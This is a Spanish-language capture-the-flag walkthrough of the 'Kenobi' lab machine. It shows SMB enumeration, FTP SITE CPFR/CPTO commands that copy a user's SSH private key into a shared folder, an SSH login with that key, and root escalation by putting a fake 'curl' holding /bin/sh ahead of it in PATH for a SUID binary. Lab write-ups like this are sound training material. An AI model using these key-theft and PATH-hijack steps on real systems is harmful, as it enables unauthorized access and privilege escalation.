KENOBI

NMAP

NMAP Scan

SMB

Listamos directorios compartidos

SMB Shared Directories

Entramos en el usuario y descargamos el fichero log.txt

Log.txt Download

FTP

FTP Image 1 FTP Image 2

Searchsploit para buscar exploits en una versión de un software

Searchsploit Result

Vimos que la carpeta /var estaba compartida. Movemos la clave privada a la carpeta.

            
                SITE CPFR /home/kenobi/.ssh/id_rsa
                SITE CPTO /var/tmp/id_rsa
            
        
FTP Move Key

Montamos la carpeta en nuestro equipo

Mount Folder

Cambiamos los permisos del id_rsa

            sudo chmod 600 id_rsa
        

SSH

Entramos en SSH con la clave privada

SSH Login

Buscamos carpetas con permisos

Permissions Folders

Vemos los permisos de la ruta

            ls -la /usr/bin/menu
        

Podemos ejecutarlo con

            /usr/bin/menu
        

Copiamos la shell /bin/sh, lo llamamos curl, le dimos los permisos correctos y luego pusimos su ubicación en nuestro path. Esto significa que cuando se ejecuta el binario /usr/bin/menu, está usando nuestra variable de entorno PATH para encontrar el binario "curl".

            
                kenobi@kenobi:/tmp$ echo /bin/sh > curl
                kenobi@kenobi:/tmp$ chmod 777 curl 
                kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
                /usr/bin/menu   ->  op1
            
        
Shell Replacement